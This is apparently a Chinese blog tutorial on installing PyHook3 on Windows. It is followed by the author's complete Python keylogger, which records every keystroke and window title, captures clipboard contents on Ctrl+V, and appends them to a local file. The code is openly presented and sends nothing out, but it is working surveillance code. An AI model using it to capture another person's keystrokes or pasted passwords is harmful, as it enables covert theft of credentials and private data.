Windows PyHook3安装和使用
首先安装pythoncom
pythoncom:http://sourceforge.net/projects/pywin32/files/pywin32/Build 219/pywin32-219.win32-py2.7.exe/download
下载后复制进python/Lib/site-packages/
然后进入文件cmd输入python setup.py install
注意python版本，比如我的同时安装py2,3,就要用python3运行才行
(下面的安装都是这个步骤)
然后安装Swig
下载Swig for Windows：http://www.swig.org/download.html
找到对应的版本下载
注意下载后里面有swig.exe文件，没有的话还要按照doc编译swig，没有cygwin也很麻烦，所以找编译好的对应版本下载。
下载后放到安装软件的地方，添加环境变量path
cmd输入swig –help，输出help的内容说明能用了
然后添加环境变量PYTHON_INCLUDE 和 PYTHON_BIN
在文档和官网中有详细说明是什么
PYTHON_INCLUDE是python3的include路径
PYTHON_BIN是python3里的libs下的python3X.lib文件
举例
PYTHON_INCLUDE: D:\python\include;
PYTHON_BIN: D:\python\libs\python36.lib;
记得安装.Net Framework和VC对应版本
这些东西一般都有，没有会提醒你安装，点到微软的下载页面down下来安装即可
安装pywin32
地址：http://www.lfd.uci.edu/~gohlke/pythonlibs/#pywin32
找到适合你的系统的版本下载
安装PyHook3
pip install PyHook3
即可下载PyHook3到你的python下的Lib/site-packages
但是不知道为什么我的PyHook3少文件
缺少cpyHook.i文件
于是我又下载了python_py3k,把里面的文件移到了PyHook3里，再次安装成功了.
python_py3k:https://github.com/Answeror/pyhook_py3k
安装完成后，进入PyHook3文件夹，运行python example.py
没有问题，表明成功
同时example.py里也给出了鼠标监听和键盘监听的使用方法
稍加修改后，我写了一份可以把监听结果保存在文件中的代码
# -*- coding: utf-8 -*-
from ctypes import *
import pythoncom
import PyHook3
import win32clipboard
import os,sys
path=os.getcwd()
user32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = None
#退出监听的指令单词，可以修改
QUIT_WORD="BIGBANG"
QUIT_CONT=QUIT_WORD
# Fkey=["F1","F2","F3","F4","F5","F6","F7","F8","F9","F10","F11","F12"]
# 定义击键监听事件函数
def OnKeyboardEvent(event):
global current_window,QUIT_WORD,QUIT_CONT,path
FileStr=""
if(len(QUIT_WORD)==0):
FileStr+="\n--------------------结束监听--------------------\n\n\n"
fp=open(path+"/KeyBoardListen","a",encoding='utf-8')
fp.write(FileStr)
fp.close()
print("\n--------------------结束监听--------------------\n")
sys.exit()
return False
# 检测目标窗口是否转移(换了其他窗口就监听新的窗口)
if event.Window != current_window:
current_window = event.Window
# event.WindowName有时候会不好用
# 所以调用底层API喊来获取窗口标题
windowTitle = create_string_buffer(512)
windll.user32.GetWindowTextA(event.Window,
byref(windowTitle),
512)
windowName = windowTitle.value.decode('gbk')
FileStr+="\n"+("-"*60)+"\n窗口名:%s\n窗口ID:%s\n"%(windowName,event.Window)
print("\n-----------------")
print("窗口名:%s"%windowName)
print("窗口ID:%s"%event.Window)
# 检测击键是否常规按键（非组合键等）
if event.Ascii > 32 and event.Ascii <127:
FileStr+=chr(event.Ascii)+' '
print(chr(event.Ascii),end=' ')
else:
# 如果发现Ctrl+v（粘贴）事件，就把粘贴板内容记录下来
if event.Key == "V":
print()
print("-"*60)
print("检测到粘贴快捷键")
win32clipboard.OpenClipboard()
pasted_value = win32clipboard.GetClipboardData()
win32clipboard.CloseClipboard()
print("[粘贴内容] %s" % (pasted_value),end=' ')
print()
print("-"*60)
FileStr+='\n'+("-"*60)+'\n'+"检测到粘贴快捷键\n"
FileStr+="[粘贴内容] "+pasted_value
FileStr+="\n"
FileStr+=("-"*60)+'\n'
elif event.Key=="Z":
FileStr+="[Ctrl+Z] "
print("[Ctrl+Z]",end=' ')
elif event.Key=="A":
FileStr+="[全选] "
print("[全选]",end=' ')
elif event.Key=="C":
FileStr+="[Ctrl+C] "
print("[Ctrl+C]",end=' ')
else:
if(event.Key=="Space"):
FileStr+="[空格] "
print("[空格]",end=' ')
elif(event.Key=="Lshift"):
FileStr+="[左Shift] "
print("[左Shift]",end=' ')
elif(event.Key=="Left"):
FileStr+="[←] "
print("[←]",end=' ')
elif(event.Key=="Right"):
FileStr+="[→] "
print("[→]",end=' ')
elif(event.Key=="Up"):
FileStr+="[↑] "
print("[↑]",end=' ')
elif(event.Key=="Down"):
FileStr+="[↓] "
print("[↓]",end=' ')
elif(event.Key=="Lmenu"):
FileStr+="[左Alt] "
print("[左Alt]",end=' ')
elif(event.Key=="Rmenu"):
FileStr+="[右Alt] "
print("[右Alt]",end=' ')
elif(event.Key=="Rshift"):
FileStr+="[右Shift] "
print("[右Shift]",end=' ')
elif(event.Key=="Lcontrol"):
FileStr+="[左Ctrl] "
print("[左Ctrl]",end=' ')
elif(event.Key=="Rcontrol"):
FileStr+="[右Ctrl] "
print("[右Ctrl]",end=' ')
elif(event.Key=="Return"):
FileStr+="[回车] "
print("[回车]",end=' ')
elif(event.Key=="Back"):
FileStr+="[删除] "
print("[删除]",end=' ')
elif(event.Key=="Delete"):
FileStr+="[Del] "
print("[Del]",end=' ')
elif(event.Key=="Insert"):
FileStr+="[Ins] "
print("[Ins]",end=' ')
elif(event.Key=="Prior"):
FileStr+="[PgUp] "
print("[PgUp]",end=' ')
elif(event.Key=="Next"):
FileStr+="[PgDn] "
print("[PgDn]",end=' ')
elif(event.Key=="End"):
FileStr+="[End] "
print("[End]",end=' ')
elif(event.Key=="Home"):
FileStr+="[Home] "
print("[Home]",end=' ')
elif(event.Key=="None"):
FileStr+="[None] "
print("[None]",end=' ')
elif(event.Key=="Apps"):
#就是右Alt右边的那个键
FileStr+="[菜单] "
print("[菜单]",end=' ')
elif(event.Key=="Capital"):
FileStr+="[大写] "
print("[大写]",end=' ')
elif(event.Key=="Tab"):
FileStr+="[Tab] "
print("[Tab]",end=' ')
elif(event.Key=="Lwin"):
FileStr+="[左Win] "
print("[左Win]",end=' ')
elif(event.Key=="Rwin"):
FileStr+="[右Win] "
print("[右Win]",end=' ')
elif(event.Key=="Escape"):
FileStr+="[Esc] "
print("[Esc]",end=' ')
elif(event.Key=="Pause"):
#就是PrintScreen右边那个键
FileStr+="[暂停] "
print("[暂停]",end=' ')
elif(event.Key=="Snapshot"):
FileStr+="[截屏] "
print("[截屏]",end=' ')
else:
FileStr+="[%s] "%event.Key
print("[%s]"%event.Key,end=' ')
#判断退出监听指令符
if (event.Key==QUIT_WORD[0]):
QUIT_WORD=QUIT_WORD[1:]
if(len(QUIT_WORD)==0):
FileStr+="\n--------------------结束监听--------------------\n\n\n"
fp=open(path+"/KeyBoardListen","a",encoding='utf-8')
fp.write(FileStr)
fp.close()
print("\n--------------------结束监听--------------------\n")
sys.exit()
return False
else:
QUIT_WORD=QUIT_CONT
#写入文件
fp=open(path+"/KeyBoardListen","a",encoding='utf-8')
fp.write(FileStr)
fp.close()
# 循环监听下一个击键事件
return True
# 创建并注册hook管理器
kl = PyHook3.HookManager() #
kl.KeyDown = OnKeyboardEvent
# 注册hook并执行
kl.HookKeyboard()
pythoncom.PumpMessages()
